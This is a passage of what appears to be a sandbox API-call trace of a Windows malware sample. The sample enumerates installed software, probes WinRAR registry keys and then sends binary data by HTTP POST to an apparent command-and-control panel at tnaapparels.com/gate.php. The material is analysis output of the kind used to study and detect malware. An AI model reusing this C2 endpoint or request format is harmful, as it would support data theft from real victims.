(lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.787] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="FastTrack") returned 0x0 [0079.788] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="FastTrack") returned 0x0 [0079.788] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.788] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1ca, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.788] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.788] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.788] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1c2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.788] IStream:SetSize (This=0x6405d0, libNewSize=0x1c2) returned 0x0 [0079.788] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.788] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff0c | out: phglobal=0x12ff0c) returned 0x0 [0079.788] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.788] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.788] LocalAlloc (uFlags=0x40, uBytes=0x1242) returned 0x64f448 [0079.789] LocalFree (hMem=0x64f448) returned 0x0 [0079.789] GlobalUnlock (hMem=0x57001c) returned 0 [0079.789] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.789] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fdc0 | out: phkResult=0x12fdc0*=0x1f4) returned 0x0 [0079.789] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Client Hash", lpReserved=0x0, lpType=0x12fdb8, lpData=0x0, lpcbData=0x12fdbc*=0x602868 | out: lpType=0x12fdb8*=0x0, lpData=0x0, lpcbData=0x12fdbc*=0x0) returned 0x2 [0079.789] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.789] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd94 | out: phkResult=0x12fd94*=0x1f4) returned 0x0 [0079.789] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Client Hash", lpReserved=0x0, lpType=0x12fd8c, lpData=0x0, lpcbData=0x12fd90*=0x12fd78 | out: lpType=0x12fd8c*=0x0, lpData=0x0, lpcbData=0x12fd90*=0x0) returned 0x2 [0079.789] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.789] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fd68 | out: phkResult=0x12fd68*=0x1f4) returned 0x0 [0079.789] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Client Hash", lpReserved=0x0, lpType=0x12fd60, lpData=0x0, lpcbData=0x12fd64*=0x12fd4c | out: lpType=0x12fd60*=0x0, lpData=0x0, lpcbData=0x12fd64*=0x0) returned 0x2 [0079.789] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.789] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x12fdff | out: lpBuffer="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned 0x24 [0079.789] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12ff0c | out: ppstm=0x12ff0c*=0x64ba80) returned 0x0 [0079.789] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned 36 [0079.789] lstrlenA (lpString="Client Hash") returned 11 [0079.789] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x647ab8 [0079.789] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\" [0079.789] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\", lpString2="Client Hash" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\Client Hash") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\Client Hash" [0079.789] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\Client Hash" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\client hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.789] LocalFree (hMem=0x647ab8) returned 0x0 [0079.790] IUnknown:Release (This=0x64ba80) returned 0x0 [0079.790] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff28 | out: phglobal=0x12ff28) returned 0x0 [0079.790] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.790] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.790] LocalAlloc (uFlags=0x40, uBytes=0x5a0080) returned 0x1f00020 [0079.790] LocalAlloc (uFlags=0x40, uBytes=0x1002ba) returned 0x24b0020 [0079.796] GlobalUnlock (hMem=0x57001c) returned 0 [0079.796] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.796] IStream:SetSize (This=0x6405d0, libNewSize=0x0) returned 0x0 [0079.796] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147c7*=0x50, cb=0x8, pcbWritten=0x12fee4 | out: pcbWritten=0x12fee4*=0x8) returned 0x0 [0079.796] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ff0c*=0xc2, cb=0x4, pcbWritten=0x12fee8 | out: pcbWritten=0x12fee8*=0x4) returned 0x0 [0079.796] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fef8*=0xed, cb=0x4, pcbWritten=0x12fed4 | out: pcbWritten=0x12fed4*=0x4) returned 0x0 [0079.796] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x24b0020*=0x50, cb=0xed, pcbWritten=0x12fed0 | out: pcbWritten=0x12fed0*=0xed) returned 0x0 [0079.796] LocalFree (hMem=0x1f00020) returned 0x0 [0079.798] LocalFree (hMem=0x24b0020) returned 0x0 [0079.798] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.798] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff28 | out: phglobal=0x12ff28) returned 0x0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.799] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.799] GlobalUnlock (hMem=0x57001c) returned 0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.799] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ff1c*=0xe, cb=0x4, pcbWritten=0x12fef8 | out: pcbWritten=0x12fef8*=0x4) returned 0x0 [0079.799] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff28 | out: phglobal=0x12ff28) returned 0x0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.799] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.799] GlobalUnlock (hMem=0x57001c) returned 0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xfffffffc, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xfd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.799] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12ff08, cb=0x4, pcbRead=0x12fed8 | out: pv=0x12ff08*=0xe, pcbRead=0x12fed8*=0x4) returned 0x0 [0079.799] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff24 | out: phglobal=0x12ff24) returned 0x0 [0079.799] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.799] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.799] LocalAlloc (uFlags=0x40, uBytes=0x181) returned 0x66b940 [0079.800] GlobalUnlock (hMem=0x57001c) returned 0 [0079.800] lstrlenA (lpString="1988") returned 4 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.800] IStream:SetSize (This=0x6405d0, libNewSize=0x0) returned 0x0 [0079.800] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147d2*=0x43, cb=0x8, pcbWritten=0x12fde4 | out: pcbWritten=0x12fde4*=0x8) returned 0x0 [0079.800] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x66b940*=0x95, cb=0x101, pcbWritten=0x12fde4 | out: pcbWritten=0x12fde4*=0x101) returned 0x0 [0079.800] LocalFree (hMem=0x66b940) returned 0x0 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.800] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff28 | out: phglobal=0x12ff28) returned 0x0 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.800] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.800] GlobalUnlock (hMem=0x57001c) returned 0 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.800] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ff1c*=0x58, cb=0x4, pcbWritten=0x12fef8 | out: pcbWritten=0x12fef8*=0x4) returned 0x0 [0079.800] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff28 | out: phglobal=0x12ff28) returned 0x0 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.800] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.800] GlobalUnlock (hMem=0x57001c) returned 0 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0xfffffffc, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.800] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x109, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.801] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12ff08, cb=0x4, pcbRead=0x12fed8 | out: pv=0x12ff08*=0x58, pcbRead=0x12fed8*=0x4) returned 0x0 [0079.801] GetTickCount () returned 0x21fa0 [0079.801] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff28 | out: phglobal=0x12ff28) returned 0x0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.801] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.801] LocalAlloc (uFlags=0x40, uBytes=0x18d) returned 0x65b170 [0079.801] GlobalUnlock (hMem=0x57001c) returned 0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.801] IStream:SetSize (This=0x6405d0, libNewSize=0x0) returned 0x0 [0079.801] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe14*=0xf7, cb=0x4, pcbWritten=0x12fde4 | out: pcbWritten=0x12fde4*=0x4) returned 0x0 [0079.801] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x65b170*=0x57, cb=0x10d, pcbWritten=0x12fde4 | out: pcbWritten=0x12fde4*=0x10d) returned 0x0 [0079.801] LocalFree (hMem=0x65b170) returned 0x0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.801] GetHGlobalFromStream (in: pstm=0x6405d0, phglobal=0x12ff44 | out: phglobal=0x12ff44) returned 0x0 [0079.801] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.801] GlobalLock (hMem=0x57001c) returned 0x6524b8 [0079.801] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x64f448 [0079.801] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x675360 [0079.801] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x679370 [0079.801] InternetCrackUrlA (in: lpszUrl="http://tnaapparels.com/44/panel/gate.php", dwUrlLength=0x0, dwFlags=0x80000000, lpUrlComponents=0x12fee8 | out: lpUrlComponents=0x12fee8) returned 1 [0080.286] InternetCreateUrlA (in: lpUrlComponents=0x12fee8, dwFlags=0x80000000, lpszUrl=0x679370, lpdwUrlLength=0x12fed4 | out: lpszUrl="http://tnaapparels.com/44/panel/gate.php", lpdwUrlLength=0x12fed4) returned 1 [0080.354] InternetCrackUrlA (in: lpszUrl="http://tnaapparels.com/44/panel/gate.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x12fee8 | out: lpUrlComponents=0x12fee8) returned 1 [0080.354] wsprintfA (in: param_1=0x679370, param_2="POST %s HTTP/1.0\r\nHost: %s\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nContent-Length: %lu\r\nConnection: close\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n\r\n" | out: param_1="POST /44/panel/gate.php HTTP/1.0\r\nHost: tnaapparels.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nContent-Length: 273\r\nConnection: close\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n\r\n") returned 272 [0080.354] socket (af=2, type=1, protocol=6) returned 0x258 [0080.612] inet_addr (cp="tnaapparels.com") returned 0xffffffff [0080.612] gethostbyname (name="tnaapparels.com") returned 0x6725a8*(h_name="tnaapparels.com", h_aliases=0x6725b8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x6725bc*=([0]="192.95.7.159")) [0085.383] connect (s=0x258, name=0x12fea4*(sa_family=2, sin_port=0x50, sin_addr="192.95.7.159"), namelen=16) returned 0 [0085.510] setsockopt (s=0x258, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0085.510] lstrlenA (lpString="POST /44/panel/gate.php HTTP/1.0\r\nHost: tnaapparels.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nContent-Length: 273\r\nConnection: close\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)\r\n\r\n") returned 272 [0085.510] send (in: s=0x258, buf=0x679370*, len=272, flags=0 | out: buf=0x679370*) returned 272 [0085.510] send (in: s=0x258, buf=0x6524b8*, len=273, flags=0 | out: buf=0x6524b8*) returned 273 [0085.510] LocalAlloc (uFlags=0x40, uBytes=0x3b18) returned 0x683b68 [0085.510] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12fea8 | out: ppstm=0x12fea8*=0x655c08) returned 0x0 [0085.510] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.811] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.811] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.811] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x48, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.812] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.812] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.812] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.812] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.812] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.812] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.812] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.812] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.812] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.812] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.812] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.812] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x50, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.812] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.813] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.813] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.813] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x2f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.813] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.813] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.813] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.813] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.813] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.813] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.813] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.813] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x2e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.813] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.813] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, 